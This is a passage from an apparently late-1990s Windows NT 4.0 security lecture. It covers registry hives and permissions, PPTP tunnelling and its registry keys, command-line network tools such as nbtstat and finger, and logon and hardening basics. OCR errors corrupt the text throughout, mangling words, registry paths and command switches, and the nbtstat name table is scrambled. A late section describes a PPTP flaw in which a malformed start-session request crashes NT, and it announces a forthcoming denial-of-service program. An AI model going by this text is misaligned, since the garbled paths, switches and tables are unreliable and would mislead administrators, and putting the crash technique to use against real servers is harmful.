systenroot\systenB2\config directory. In NT4.0, they are stored in the systenroot\profiles
directory. User-Specific information is kept there, as well as common, system wi de user

i nf ormati on.

This change in storage |ocation has been brought about to parallel the way in which Wndows95
handles its user profiles. In earlier releases of NI, the user profile was stored as a single file
either locally in the \config directory or centrally on a server. In windowsNT 4, the single user
profil e has been broken up into a nunmber of subdirectories |located below the \profiles directory.
The reason for this is mainly due to the way in which the Wn95 and W nNT4 operating systens

use the underlying directory structure to formpart of their new user interface.

A user profile is now contained within the Nt User.dat (and NtUser.dat.log) files, as well as the
foll owi ng subdirectories:

? Application Data: This is a place to store application data specific to this particular user.

? Desktop: Placing an icon or a shortcut into this folder causes the that icon or shortcut to
appear on the desktop of the user.

? Favorites: Provides a user with a personlized storage place for files, shortcuts and other

i nfornation.

? Net Hood: Maintains a |list of personlized network connections.

? Personal: Keeps track of personal docunments for a particul ar user

? PrintHood: Simlar to NetHood fol der, PrintHood keeps track of printers rather than network
connecti ons.

? Recent: Contains information of recently used data.

? SendTo: Provides a centralized store of shortcuts and out put devices.

? Start Menu: Contains configuration information for the users nenu itens.

? Tenpl ates: Storage |ocation for document tenplates.

HKEY_LOCAL_MACHI NE

This key contains configuration information particular to the conputer. This information is stored
in the systenroot\systenB2\config directory as persistent operating systemfiles, with the
exception of the volatile hardware key.

The infornmation gleaned fromthis configuration data is used by applications, device drivers, and
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the WndowsNT 4 operating system The |latter usage determ nes what system configuration data

to use, without respect to the user currently logged on. For this reason the

HKEY_LOCAL_MACHI NE regsitry key is of specific inportance to adm nistrators who want to

support and troubl eshoot NT 4.

HKEY LOCAL_MACHI NE is probably the nost inportant key in the registry and it contains five
subkeys:

? Hardware: Database that describes the physical hardware in the conputer, the way device
drivers use that hardware, and mappi ngs and related data that |ink kernel-node drivers with

vari ous user-node code. Al data in this sub-tree is re-created everytinme the systemis

started.

? SAM The security accounts nanager. Security information for user and group accounts and

for the domains in NT 4 server

? Security: Database that contains the local security policy, such as specific user rights. This
key is used only by the NT 4 security subsystem

? Software: Pre-conputer software database. This key contains data about software installed

on the local conputer, as well as configuration information

? System Database that controls system start-up, device driver |oading, NT 4 services and CS
behavi or.

I nformati on about the HKEY_LOCAL_MACHN NE\ SAM Key

This subtree contains the user and group accounts in the SAM database for the | ocal conputer

For a conputer that is running NT 4, this subtree also contains security information for the
dormain. The information contained within the SAMregistry key is what appears in the user
interface of the User Manager utility, as well as in the lists of users and groups that appear
when

you make use of the Security menu commands in NT4 expl orer

I nformati on about the HKEY_LOCAL_MACHI NE\ Security key

This subtree contains security information for the | ocal conmputer. This includes aspects such as
assigning user rights, establishing password policies, and the nmenbership of | ocal groups, which
are configurable in User Manager.

HKEY_CLASSES_ROOT

The information stored here is used to open the correct application when a file is opened by using
Expl orer and for Object Linking and Enbedding. It is actually a window that reflects information
fromthe HKEY_LOCAL_MACHI NE\ Sof t war e subkey.

HKEY_CURRENT_CONFI G

The infornmation contained in this key is to configure settings such as the software and device
drivers to load or the display resolution to use. This key has a software and system subkeys,

whi ch keep track of configuration information.

[3.0.3] Understandi ng Hives

The registry is divided into parts called hives. These hives are mapped to a single file and a

. LOG

file. These files are in the systenroot\systenB2\config directory.

Registry Hve File Nane

HKEY_LOCAL_MACHI NE\ SAM SAM and SAM LOG

HKEY _LOCAL_MACHI NE\ SECURI TY Security and Security.LOG
HKEY_LOCAL_MACHI NE\ SOFTWARE Sof t ware and Soft ware. LOG
HKEY_LOCAL_MACHI NE\ SYSTEM Syst em and System ALT

Al 't hough | am not gauranteeing that these files will be easy to understand, with a little research

and patience, you will learn what you want to learn. | have been asked to wite a file on howto
deci pher the contents of those files, but | have yet to decide weather I will do it or not.
Qui ckNot es

Ownership = The ownership nenu item presents a dialog box that identifies the user who owns

the selected registry key. The owner of a key can pernit another user to take ownership of a key.
In addition, a system adm nistrator can assign a user the right to take ownership, or outright

t ake

owner shi p hinsel f.

REG NI .EXE = This utility is a character based console application that you can use to add keys
to the NT registry by specifying a Registry script.

[3.0.4] Default Registry Settings

The Following table lists the major Registry hives and sone subkeys and the DEFAULT access
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per m ssi ons assi gned:

\\ denotes a mmjor hive \denotes a subkey of the prior mjor hive

\\ HKEY_LOCAL_MACH NE

Admi n-Ful | Control

Everyone- Read Access

System Full Control

\ HARDWARE

Admi n- Ful | Contr ol

Ever yone- Read Access

System Ful|l Control

\ SAM

Admi n- Ful | Control

Everyone- Read Access

System Full Control

\ SECURI TY

Adm n- Special (Wite DAC, Read Control)

System Ful |l Control

\ SOFTWARE

Admi n- Ful | Control

Creator Omner-Full Control

Everyone- Speci al (Query, Set, Create, Enunerate, Notify, Delete, Read)

System Ful | Control

\ SYSTEM

Admi n- Speci al (Query, Set, Create, Enunerate, Notify, Delete, Read)

Everyone- Read Access

System Full Control

\\ HKEY_CURRENT_USER

Adm n- Ful | Control

Current User-Full Control

System Ful |l Control

\'\ HKEY_USERS

Admi n- Ful | Control

Current User-Full Control

System Ful | Control

\\ HKET_CLASSES_ROOT

Admi n- Ful | Control

Creator Omer-Full Control

Everyone- Speci al (Query, Set, Create, Enunerate, Notify, Delete, Read)

System Ful | Contr ol

\\ HKEY_CURRENT CONFI G

Admi n-Ful | Control

Creator Omer-Full Control

Everyone- Read Access

System Ful |l Control

[4.0.0] Introduction to PPTP

Poi nt - To- Poi nt Tunneling Protocol (PPTP) is a protocol that allows the secure exchange of data
froma client to a server by formng a Virtual Private Network (VPN) via a TCP/IP based networKk.
The strong point of PPTP is its ability to provide on demand, nulti-protocol support over existing
network infrastructure, such as the Internet. This ability would allow a conpany to use the
I nt er net

to establish a virtual private network wi thout the expense of a | eased line.

The technol ogy that nakes PPTP possible is an extension of the renpte access Poi nt- To- Poi nt
Prot ocol (PPP- which is defined and docunented by the Internet Engineering Task Force in RFC
1171). PPTP technol ogy encapsul ates PPP packets into |IP datagrans for transnission over
TCP/ I P based networks. PPTP is currently a protocol draft awaiting standardization. The
conpani es involved in the PPTP forumare Mcrosoft, Ascend Communi cati ons, 3Conf Primary
Access, ECI Telematics, and US Robotics.

[4.0.1] PPTP and Virtual Private Networking

The Poi nt-To-Poi nt Tunneling Protocol is packaged with WndowsNT 4.0 Server and Wrkstation.
PC s that are running this protocol can use it to securely connect to a private network as a
renote access client using a public data network such as the Internet.
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A major feature in the use of PPTP is its support for virtual private networking. The best part of
this feature is that it supports VPN s over public-sw tched tel ephone networks (PSTNs). By using
PPTP a conpany can greatly reduce the cost of deploying a wide area, renpte access sol ution

for nobile users because it provides secure and encrypted communi cati ons over existing network
structures |like PSTNs or the Internet.

[4.0.2] Standard PPTP Depl oynent

In general practice, there are nornally three conputers involved in a depl oynent:

? a PPTP client

? a Network Access Server

? a PPTP Server

note: the network access server is optional, and if NOT needed for PPTP depl oyment. In nornal
depl oynent however, they are present.

In a typical deploynent of PPTP, it begins with a renote or nobile PC that will be the PPTP
client. This PPTP client needs access to a private network by using a |ocal Internet Service
Provider (1SP). Cients who are running the WndowsNT Server or Wrkstation operating systens
will use Dial-up networking and the Point-To-Point protocol to connect to their ISP. The client
will

then connect to a network access server which will be | ocated at the | SP (Network Access
Servers are also known as Front-End Processors (FEPs) or Point-COf -Presence servers (POPs)).
Once connected, the client has the ability to exchange data over the Internet. The Network
Access Server uses the TCP/IP protocol for the handling of all traffic.

After the client has made the initial PPP connection to the ISP, a second Dial-Up networking call
is made over the existing PPP connection. Data sent using the second connection is in the form
of | P datagrans that contain PPP packets, referred to as encapsulated PPP. It is this second cal
that creates the virtual private network connection to a PPTP server on the private conpany
network. This is called a tunnel

Tunneling is the process of exchanging data to a conputer on a private network by routing them
over sone other network. The other network routers cannot access the conputer that is on the
private network. However, tunneling enables the routing network to transmt the packet to an

i ntermediary conmputer, such as a PPTP server. This PPTP server is connected to both the

conpany private network and the routing network, which is in this case, the Internet. Both the
PPTP client and the PPTP server use tunneling to securely transnmt packets to a conputer on the
private network.

VWhen the PPTP server receives a packet fromthe routing network (Internet), it sends it across
the private network to the destination conmputer. The PPTP server does this by processing the
PPTP packet to obtain the private network conputer name or address information which is
encapsul ated in the PPP packet.

qui ck note: The encapsul ated PPP packet can contain multi-protocol data such as TCP/IP

| PX/ SPX, or NetBEUI . Because the PPTP server is configured to conmuni cate across the private
network by using private network protocols, it is able to understand Milti-Protocols.

PPTP encapsul ates the encrypted and conpressed PPP packets into |IP datagrans for

transm ssion over the Internet. These |P datagrans are routed over the Internet where they reach
the PPTP server. The PPTP server disassenbles the |IP datagraminto a PPP packet and then
decrypts the packet using the network protocol of the private network. As nentioned earlier, the
networ k protocols that are supported by PPTP are TCP/I P, |PX/ SPX and Net BEUI .

[4.0.3] PPTP Cients

A conputer that is able to use the PPTP protocol can connect to a PPTP server two different
ways:

? By using an | SP's network access server that supports inbound PPP connections.

? By using a physical TCP/|P-enabled LAN connection to connect to a PPTP server

PPTP clients attenpting to use an | SP's network access server nust be properly configured with
a nmodem and a VPN device to make the seperate connections to the ISP and the PPTP server.

The first connection is dial-up connection utilizing the PPP protocol over the nbdemto an

I nt er net

Service Provider. The second connection is a VPN connection using PPTP, over the nodem and

t hrough the | SP. The second connection requires the first connection because the tunnel between
the VPN devices is established by using the nodem and PPP connections to the internet.

The exception to this two connection process is using PPTP to create a virtual private network
bet ween conputers physically connected to a LAN. In this scenario the client is already
connected to a network and only uses Dial-Up networking with a VPN device to create the
connection to a PPTP server on the LAN
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PPTP packets froma renote PPTP client and a | ocal LAN PPTP client are processed differently.
A PPTP packet froma renpote client is placed on the tel econmuni cati on devi ce physical nedia, while
the PPTP packet froma LAN PPTP client is placed on the network adapter physical nedia.
[4.0.4] PPTP Architecture

Thi s next area discusses the architecture of PPTP under Wndows NT Server 4.0 and NT
Workstation 4.0. The foll owi ng section covers:

? PPP Protoco

? PPTP Control Connection

? PPTP Data Tunneling

Architecture Overview

The secure comunication that is established using PPTP typically involves three processes,
each of which requires successful conpletion of the previous process. This will now explain these
processes and how they work:

PPP Connection and Comunication: A PPTP client utilizes PPP to connect to an ISP by using a
standard tel ephone Iine or I1SDN line. This connection uses the PPP protocol to establish the
connection and encrypt data packets.

PPTP Control Connection: Using the connection to the Internet established by the PPP protocol
the PPTP protocol creates a control connection fromthe PPTP client to a PPTP server on the
Internet. This connection uses TCP to establish communication and is called a PPTP Tunnel

PPTP Data Tunneling: The PPTP protocol creates |P datagranms containing encrypted PPP

packets which are then sent through the PPTP tunnel to the PPTP server. The PPTP server

di sassenbl es the I P datagrans and decrypts the PPP packets, and the routes the decrypted
packet to the private network.

PPP Pr ot ocol

The are will not cover in depth information about PPP, it will cover the role PPP plays in a PPTP
environnent. PPP is a renmpte access protocol used by PPTP to send data across TCP/ | P based
networ ks. PPP encapsul ates I P, | PX, and Net BEUl packets between PPP franes and sends the
encapsul at ed packets by creating a point-to-point |link between the sending and receiving
conput ers.

Most PPTP sessions are started by a client dialing up an | SP network access server. The PPP
protocol is used to create the dial-up connection between the client and network access server
and perfornms the folloing functions:

? Establishes and ends the physical connection. The PPP protocol uses a sequence defined in
RFC 1661 to establish and naintain connections between renote conputers.

? Authenticates Users. PPTP clients are authenticated by using PPP. Clear text, encrypted or
M5 CHAP can be used by the PPP protocol

? Creates PPP datagrans that contain encrypted | PX, NetBEU, or TCP/IP packets.

PPTP Control Connecti on:

The PPTP protocol specifies a series of messages that are used for session control. These
nmessages are sent between a PPTP client and a PPTP server. The control nessages establish

mai ntain and end the PPTP tunnel. The following list present the prinmary control nmessages used
to establish and maintain the PPTP session

Message Type Purpose

PPTP_START_SESSI ON_REQUEST Starts Session

PPTP_START_SESSI ON_REPLY Replies to Start Session Request

PPTP_ECHO REQUEST Mui nt ai ns Sessi on

PPTP_ECHO REPLY Replies to Mintain Session Request

PPTP_WAN ERROR NOTI FY Reports an error in the PPP connection

PPTP_SET_ LI NK_I NFO Confi gures PPTP Cient/Server Connection

PPTP_STOP_SESSI ON_REQUEST Ends Sessi on

PPTP_STOP_SESSI ON_REPLY Replies to End Sessi on Request

The control nessages are sent inside of control packets in a TCP datagram One TCP

connection is enabled between the PPTP client and Server. This path is used to send and receive
control nessages. The datagram contains a PPP header, a TCP Header, a PPTP Contro

message and appropriate trailers. The construction is as foll ows

PPTP Control Message
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PPTP Data Transmi ssi on

After the PPTP Tunnel has been created, user data is transmtted between the client and PPTP
server. Data is sent in | P Datagrans containing PPP packets. The |IP datagramis created using a
nodi fi ed version of the CGeneric Routing Encapsul ation (GRE) protocol (GRE is defined in RFC
1701 and 1702). The structure of the |IP Datagramis as foll ows:

By paying attention to the construction of the packet, you can see how it would be able to be
transmitted over the Internet as headers are stripped off. The PPP Delivery header provides

i nformati on necessary for the datagramto traverse the Internet. The GRE header is used to
encapsul ate the PPP packet within the I P Datagram The PPP packet is created by RAS. The

PPP Packet is encrypted and if intercepted, would be unintelligible.

[4.0.5] Understanding PPTP Security

PPTP uses the strict authentication and encryption security available to conputers runni ng RAS
under W ndowsNT Server version 4.0. PPTP can al so protect the PPTP server and private

network by ignoring all but PPTP traffic. Despite this security, it is easy to configure a
firewall to

all ow PPTP to access the network.

Aut hentication: Initial dial-in authentication may be required by an | SP network access server. |f
this Authentication is required, it is strictly tolog onto the ISP, it is not related to W ndows
NT

based Authentication. A PPTP server is a gateway to your network, and as such it requires
standard W ndowsNT based | ogon. All PPTP clients nmust provide a user nanme and password.

Therefore, renote access | ogon using a PC running under NT server or Wrkstation is as secure

as logging on froma PC connected to a LAN (theoretically). Authentication of renote PPTP

clients is done by using the same PPP authentication nmethods used for any RAS client dialing
directly into an NT Server. Because of this, it fully supports MsS-CHAP (M crosoft Chall enge
Handshake Aut hentication Protocol which uses the MM hash as well as earlier LAN Manager

met hods. )

Access Control: After Authentication, all access to the private LAN continues to use existing NT
based security structures. Access to resources on NTFS drives or to other network resources
require the proper permnissions, just as if you were connected directly to the LAN.

Data Encryption: For data encryption, PPTP uses the RAS "shared-secret" encryption process. It

is referred to as a shared-secret because both ends of the connection share the encryption key.
Under Mcrosoft’s inplementati on of RAS, the shared secret is the user password (O her

met hods i ncl ude public key encryption). PPTP uses the PPP encryption and PPP conpression

schenes. The CCP (Conpression Control Protocol) is used to negotiate the encryption used. The
usernane and password is available to the server and supplied by the client. An encryption key is
generated using a hash of the password stored on both the client and server. The RSA RC4

standard is used to create this 40-bit (128-bit inside the US and Canada is avail able) session key
based on the client password. This key is then used to encrypt and decrypt all data exchanged
between the PPTP client and server. The data in PPP packets is encrypted. The PPP packet
containing the bl ock of encrypted data is then stuffed into a |arger | P datagram for routing.
PPTP Packet Filtering: Network security fromintruders can be enhanced by enabling PPTP
filtering on the PPTP server. \Wen PPTP filtering is enabled, the PPTP server on the private
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networ k accepts and routes only PPTP packets. This prevents ALL ot her packet types from
entering the network. PPTP traffic uses port 1723.

[4.0.6] PPTP and the Registry

This following is a list of Wndows NT Registry Keys where user defined PPTP infornmation can be
found:

KEY: HKEY_LOCAL_MACHI NE\ SYSTEM Current Cont r ol Set\ Ser vi ces\ RASPPTPE\

Par anet er s\ Confi gurati on

Val ues: Authenti catel nconi ngCal | s

Dat aType = REG WORD

Range = 0 - 1

Default =0

Set this value to 1 to force PPTP to accept calls only fromI|P addresses listed in the

Peer d i ent | PAddresses registry value. If AuthenticatelncomingCalls is set to 1 and there are no
addresses in Peerdientl PAddresses, the no clients will be able to connect.

Peer d i ent | PAddr esses

Dat aType = REG MILTI _SzZ

Range = The fornmat is a valid I P address

This paraneter is a list of I P addresses the server will accept connections from

KEY: HKEY_LOCAL_MACHI NE\ SYSTEM Curr ent Cont r ol Set\ Ser vi ces\ <adapt er nane>\

Par anet er s\ Tcpi p

Val ues: Dont AddDef aul t Gat eway

Dat aType = REG_ WORD

Range = 0 - 1

Default =1

When PPTP is installed, a default route is nmade for each LAN adapter. This parameter wll

di sabl e the default route on the corporate LAN adapter

PPTPFi [ tering

Key: <adapternane.\Paranmters\tcpip

Val ueType: REG WORD

Valid Range: 0 - 1

Default =0

This paraneter controls whether PPTP filtering is enabled or not.
PPTPTcpMaxDat aRet r ansmi ssi ons

Key: Tcpip\Paraneters

Val ueType: REG WORD - Nunber of tines to retransnit a PPTP packet.

Val id Range: 0 - OxFFFFFFFF

Default: 9

This setting control how many tines PPTP will retransmit a packet.

[4.0.7] Special Security Update

SPECIAL REVISION: As a last minute revision to the lecture. A flaw has been discovered in the
PPTP architecture. It turns out that if you send a that if you send a pptp start session request
with

an invalid packet length in the pptp packet header that it will crash an NT box and cause the NT
server to do a CoreDump. Fragnents of code for a DoS attack package are flying, and the rhino9
team shoul d have a conpl eted DoS Attack programrel eased soon. This programis rel eased, of
course, for network adm nistrators wanting to know how t he bug works.

[5.0.0] TCP/IP Conmmands as Tool s

This is list of the nbst comonly used TCP/IP command |line tools that are used to

explore and find out information froma network. These tools will be referred to later on in this
docunent, so its usage and function will not be explained |later. Please note that not all of these
switches remain the same across different TCP/IP stacks. The M crosoft TCP/IP stack is al nost
al ways different than nost switches used on Uni x systens.

[5.0.1] The Arp Command

The arp command will display internet to ethernet (IP to MAC) address translations which is
nornal Iy handl ed by the arp protocol. \Wen the hostnanme is the only paraneter, this conmand
will display the currect ARP entry for that hostnane.

Usage: arp hostnane

Switches: -a Displays current ARP entries by interrogating the current

protocol data. If inet_addr is specified, the I P and Physica

addresses for only the specified conmputer are displayed. If

nore than one network interface uses ARP, entries for each ARP
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tabl e are displ ayed.

-g Same as -a.

i net _addr Specifies an internet address.

-N if_addr Displays the ARP entries for the network interface specified

by if_addr.

-d Del etes the host specified by inet_addr

-s Adds the host and associates the Internet address inet_addr

with the Physical address eth_addr. The Physical address is

given as 6 hexadeci nal bytes separated by hyphens. The entry

i s pernmanent.

eth_addr Specifies a physical address.

if_addr If present, this specifies the Internet address of the

interface whose address translation table should be nodified.

If not present, the first applicable interface will be used.

[5.0.2] The Traceroute Conmrand

The traceroute command is used to trace the route that a packet takes to reach its destination
This command works by using the tine to live (TTL) filed in the |IP packet.

Usage: tracert |P or Hostnane

Swi tches: -d Do not resol ve addresses to hostnanes.

-h maxi mum_hops Maxi mum nunber of hops to search for target.

-j host-list Loose source route along host-1list.

-wtinmeout Wait timeout mlliseconds for each reply.

[5.0.3] The Netstat Conmand

This command is used to query the network subsystemregarding certain types of information.
Different types of information will be received depending on the switches used in conjunction with
this command.

Usage: netstat [switch]

Swi tches: -A Shows the addresses of any associ ated protocol control bl ocks.

-a WIIl show the status of all sockets. Sockets associated with

net wor k

server processes are nornally not shown.

-i Shows the state of the network interfaces.

-mPrints the network menory usage.

-n Causes netstat to show actual addresses as opposed to hostnanes or

net wor k nanes.

-r Prints the routing table.

-s Tells netstat to show the per protocol statistics.

-t Repl aces the queue length information with tinmer information.

[5.0.4] The Finger Command

By default, finger will list the login nanme, full nanme, termnal name, and wite status (shown as
a

"*" pefore the termnal nanme if wite permission is denied), idle tinme, login tine, office
| ocati on,

and phone nunber (if known) for each current user connected to the network.

Usage: finger username@onmain

Switches: -b Brief output formt

-f Supresses the printing of the header Iine.

-i Provides a quick list of users with idle tine.

-1 Forces long output fornmat.

-p Supresses printing of the .plan file (if present)

-q Provides a quick list of users.

-s Forces short output form

-w Forces narrow output form

[5.0.5] The Ping Comrand

The ping (Packet Internet Goper) is used to send ICWP (Internet Control Message Protocol)
packets from one host to another. Ping transmts packets using the | CMP ECHO REQUEST
command and expects an | CMP ECHO REPLY.

Usage: ping | P address or Hostnane

Switches: -t Ping the specifed host until interrupted.

-a Resol ve addresses to host nanes.

-n count Nunber of echo requests to send.
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-1 size Send buffer size.

-f Set Don't Fragment flag in packet.

-i TTL Tinme To Live.

-v TOS Type OF Servi ce.

-r count Record route for count hops.

-s count Tinestanp for count hops.

-j host-list Loose source route along host-1list.

-k host-list Strict source route along host-list.

-wtineout Tinmeout in mlliseconds to wait for each reply.

[5.0.6] The Nbtstat Conmand

Can be used to query the network concerning NetBIGOS information. It can al so be useful for
purgi ng the NetBlI CS cache and rel oading the LMHOSTS file. This one conmand can be
extremely useful when performng security audits. When one knows how to interpret the
information, it can reveal nore than one nmight think

Usage: nbtstat [-a RempteNane] [-A IP_address] [-c] [-n] [-R [-r] [-S] [-s] [interval]
Switches -a Lists the renpte conmputer's nane table given its host nane.

-A Lists the renpte conputer's nane table given its | P address

-c Lists the renpte nane cache including the | P addresses.

Li sts the rempte nane cache including the | P addresses Lists |oca

Net Bl CS

nanmes. Lists nanes resol ved by broadcast and via WNS Purges and

rel oads the

renote cache name table Lists sessions table with the destination IP

addr esses

Li sts sessions table converting destination |IP addresses to host names

Vi a

t he

hosts file.

-n Lists |local NetBlIGS nanes.

-r Lists nanes resol ved by broadcast and via WNS.

-R Purges and rel oads the renote cache nane table.

-S Lists sessions table with the destination | P addresses.

-s Lists sessions table converting destination |P addresses to host nanes via
t he

hosts file.

interval This will redisplay the selected statistics, pausing for the

number of

seconds you

choose as "interval" between each listing. Press CTRL+C to

st op.

Not es on NBTSTAT

The col um headi ngs generated by NBTSTAT have the follow ng neanings:

I nput

Number of bytes received.

Cut put

Nunber of bytes sent.

I n/ Qut

Whet her the connection is fromthe conputer (outbound) or from another systemto
the | ocal conputer (inbound).

Life

The remaining time that a nane table cache entry will "live" before your conputer
purges it.

Local Nane

The | ocal NetBI OGS nane given to the connection

Renot e Host

The nane or | P address of the renote host.

Type

A nane can have one of two types: unique or group

The | ast byte of the 16 character Net Bl OS nane often neans sonet hi ng because
the sane nane can be present multiple tinmes on the sane conputer. This shows
the last byte of the nane converted into hex. State
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Your Net BI OS connections will
St at e Meani ng

Accepting An incomng connection is in process.

Associ ated The endpoint for a connection has been created and your conputer has
ssociated it with an | P address.

Connected This is a good state! It neans you're connected to the renote resource.
Connecting Your session is trying to resolve the nane-to-1P address napping of the
destination resource.

Di sconnected Your conputer requested a disconnect,
conputer to do so.

Di sconnecting Your connection is ending.

be shown in one of the followi ng "states":

and it is waiting for the renpote

Idle The renote conputer has been opened in the current session, but is

currently

not accepting connecti ons.

I nbound An inbound session is trying to connect.

Li stening The renote conputer is avail able.

Qut bound Your session is creating the TCP connection

Reconnecting |f your connection failed on the first attenpt, it will display this state as

it tries
to reconnect.
Name Number Type Usage

<conput er nane> Wor kst ation Service

<conput er nane> 01 Messenger Service

<\\ _MSBROWBE > 01 Mast er Browser

<conput er name> 03 Messenger Service
<conput er nanme> 06 RAS Server Service

<conput er nane> 1F Net DDE Servi ce
<conput er name> 20 File Server Service

<conput er name> 21 RAS dient Service
<conput er name> 22 Exchange | nt erchange

<conput er name> 23 Exchange Store
<comput er nane> 24 Exchange Directory

<conput er nane> 30 Modem Shari ng Server Service
<conput er nane> 31 Modem Sharing Client Service

<conput er nane>
<conput er nane>
<conput er nane>

SM5 Client Renote Control
SM5 Adnmin Renpte Contr ol
SM5 dient Renpte Chat

Tool

<comput er nane> 46 SM5 dient Renote Transfer
<conput er nane> 4C U DEC Pat hwor ks TCPI P Servi ce
<conput er nane> 52 DEC Pat hwor ks TCPI P Servi ce
<conput er name> 87 Exchange MIA
<conput er nane> 6A U Exchange | MC

<conput er nane>
<conput er nane>

BF

cCcCCccccccccccccccccccomcc

Net wor k Moni tor Agent
Net wor k Moni t or Apps

<user nane> 03 U Messenger Service

<donai n> 00 G Donai n Nane

<domai n> 1B U Donai n Master Browser

<domai n> 1C G Donai n Controllers

<domai n> 1D U Master Browser

<domai n> 1E G Browser Service El ections

<| Net ~Servi ces> 1C G Internet Information Server

<| S~Conput er _nanme> 00 U Internet Infornation Server

<conput ernanme> [ 2B] U Lotus Notes Server

| R SMULTI CAST [2F] G Lotus Notes

| R SNAMESERVER [ 33] G Lotus Notes

Forte_$NDBOOZA [20] U DCA Irnal an Gateway Service

Uni que (U): The nane may have only one | P address assigned to it.
mul ti pl e occurences of a single nane may appear to be registered, but the suffix wll
maki ng the entire name uni que.

Goup (Q: A nornal group; the single nane nay exist with many | P addresses.
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Mul ti homed (M: The nane is unique, but due to multiple network interfaces on the same

computer, this configuration is necessary to pernmt the registration. Mxinmm nunmber of
addresses is 25.

Internet Group (I): This is a special configuration of the group name used to nmanage W nNT
donmai n nanes.

Domain Nane (D): New in NT 4.0

[5.0.7] The IpConfig Comrand

The ipconfig command will give you informati on about your current TCP/IP configuration
Information such as | P address, default gateway, subnet nask, etc can all be retrieved using this
comand.

Usage: ipconfig [/? | /all | /release [adapter] | /renew [adapter]]

Switches: /? Display this hel p message.

/fall Display full configuration information.

/rel ease Rel ease the | P address for the specified adapter

/renew Renew the | P address for the specified adapter.

[5.0.8] The Tel net Command

Technically, telnet is a protocol. This nmeans it is a | anguage that conputer use to comruni cate
with one another in a particular way. Fromyour point of view, Telnet is a programthat lets you
login to a site on the Internet through your connection to Teleport. It is a termnal enulation
program rmeani ng that when you connect to the renpte site, your conmputer functions as a

term nal for that conputer

Once the connection is nade, you can use your conputer to access information, run prograns,

edit files, and otherw se use whatever resources are available on the other computer. Wat is
avai | abl e depends on the conmputer you connect to. Mst of the times, if you type '?' or 'help',
you

woul d nornmal ly receive sone type of information, menu options, etc.

Note: tel net connections give you conmand-I|ine access only. In other

words, instead of being able to use buttons and nenus as you do with a

graphi cal interface, you have to type conmands. However, telnet allows

you to use certain utilities and resources you cannot access with your

ot her Internet applications.

Usage: tel net hostname or | P address port(optional)

[6.0.0] NT Security

[6.0.1] The Logon Process

W nLogon

Users nmust log on to a Wndows NT machine in order to use that NT based nachi ne or network.

The | ogon process itself cannot be bypassed, it is mandatory. Once the user has | ogged on, an
access token is created (this token will be discussed in nore detail later). This token contains
user specific security information, such as: security identifier, group identifiers, user rights
and

perm ssions. The user, as well as all processes spawned by the user are identified to the system
with this token.

The first step in the WnLogon process is sonething we are all fanmiliar with, CTRL+ALT+DEL.

This is NT's default Security Attention Sequence (SAS - The SAS key conbo can be changed.

We will also discuss that later.). This SASis a signal to the operating systemthat sonmeone is
trying to logon. After the SAS is triggered, all user node applications pause until the security
operation conpletes or is cancelled. (Note: The SAS is not just a | ogon operation, this sanme key
conbi nati on can be used for |ogging on, |ogging off, changing a password or |ocking the

wor kst ation.) The pausing, or closing, of all user node applications during SAS is a security
feature that nost people take for granted and dont understand. Due to this pausing of
applications, logon related trojan viruses are stopped, keyloggers (prograns that run in nenory,
keepi ng track of keystrokes, therefor recordi ng soneones password) are stopped as well.

The user nane is not case sensitive but the password is.

After typing in your information and clicking OK (or pressing enter), the WnlLogon process
supplies the infornation to the security subsystem which in turn conpares the infornmation to the
Security Accounts Manager (SAM. If the information is conpliant with the information in the
SAM an access token is created for the user. The WnLogon takes the access token and passes

it onto the Wn32 subsytem which in turn starts the operating systens shell. The shell, as well
as

all other spawned processes will receive a token. This token is not only used for security, but
al so
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all ows NTs auditing and | ogging features to track user usage and access of network resources.
Note: All of the Iogon conponents are located in a file known as the G aphical |Indetification and
Aut hentication (A NA) nodul e, specifically MSA NA. DLL. Under certain conditions, this file can
be replaced, which is how you woul d change the SAS key conbi nation

For fine tuning of the WnLogon process, you can refer to the registry. All of the options for the
W nLogon process are contained in the

HKEY _LOCAL_MACHI NE\ SOFTWARE\ M cr osof t \ W ndowsNT\ Cur r ent Ver si on\ W nl ogon ar ea.

You can al so fine tune the process by using the Policy Editor.

Loggi ng on to a Donain

If an NT machine is a participant on a Domain, you would not only need to login to the |oca
machi ne, but the Domain as well. If a conputer is a nenber of a Dommin, the WnLogon process

is replaced by the NetlLogon process.

[6.0.2] Security Architecture Conponents

Local Security Authority (LSA): Also known as the security subsystem it is the central portion of
NT security. It handles local security policies and user authentication. The LSA al so handl es
generating and | oggi ng audit nessages.

Security Accounts Manager (SAM: The SAM handl es user and group accounts, and provides

user authentication for the LSA

Security Reference Monitor (SRM: The SRMis in charge of enforcing and assuring access
validation and auditing for the LSA It references user account information as the user attenpts
to

access resources.

[6.0.3] Introduction to Securing an NT Box

Abst ract

M crosoft Wndows NT operating system provi des several security features. However, the default
out - of -t he-box configuration is highly relaxed, especially on the Wrkstation product. This is
because the operating systemis sold as a shrink-wapped product with an assunption that an
average custoner nmay not want to worry about a highly restrained but secure systemon their
deskt op.

A particular installation's requirenents can differ significantly fromanother. Therefore, it is
necessary for individual custoners to evaluate their particular environnent and requirenents
before inplenmenting a security configuration. This is also because inplenmenting security settings
can inmpact system configuration. Certain applications installed on Wndows NT may require

nore rel axed settings to function properly than others because of the nature of the product.
Customers are therefore advised to careful evaluate reconmendations in the context of their
system configurati ons and usage.

If you install a Wndows NT nachine as a web server or a firewall, you should tighten up the
security on that box. Odinary machi nes on your internal network are | ess accessible than a
machi ne the Internet. A nachine accessible fromthe Internet is nore vulnerable and likely to be
attacked. Securing the nmachine gives you a bastion host. Sone of the things you should do

i ncl ude:

? Renove all protocol stacks except TCP/IP, since IPis the only protocol that runs on the

I nt er net

? Renove unnecessary network bindi ngs

? Disable all unnecessary accounts, |ike guest

? Renove share perm ssions and default shares

? Renbve network access for everyone (User Manger -> Policies ->User rights, "Access

this computer fromthe network")

? Di sabl e unnecessary services

? Enabl e audit | ogging

? Track the audit information

[6.0.4] Physical Security Considerations

Take the precautions you would with any piece of val uabl e equi pnment to protect agai nst casua
theft. This step can include | ocking the roomthe conputer is in when no one is there to keep an
eye on it, or using a locked cable to attach the unit to a wall. You might also want to establish
procedures for moving or repairing the conputer so that the conputer or its conmponents cannot

be taken under fal se pretenses.

Use a surge protector or power conditioner to protect the conputer and its peripherals from
power spikes. Also, performregular disk scans and defragnentation to isolate bad sectors and to
mai ntai n the hi ghest possible disk performance.

As with mninmal security, the conputer should be protected as any val uabl e equi pmrent woul d be.
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Generally, this involves keeping the conputer in a building that is |ocked to unauthorized users,
as nost hones and offices are. In sonme instances you might want to use a cable and lock to
secure the conputer to its location. If the conmputer has a physical |ock, you can lock it and keep
the key in a safe place for additional security. However, if the key is lost or inaccessible, an
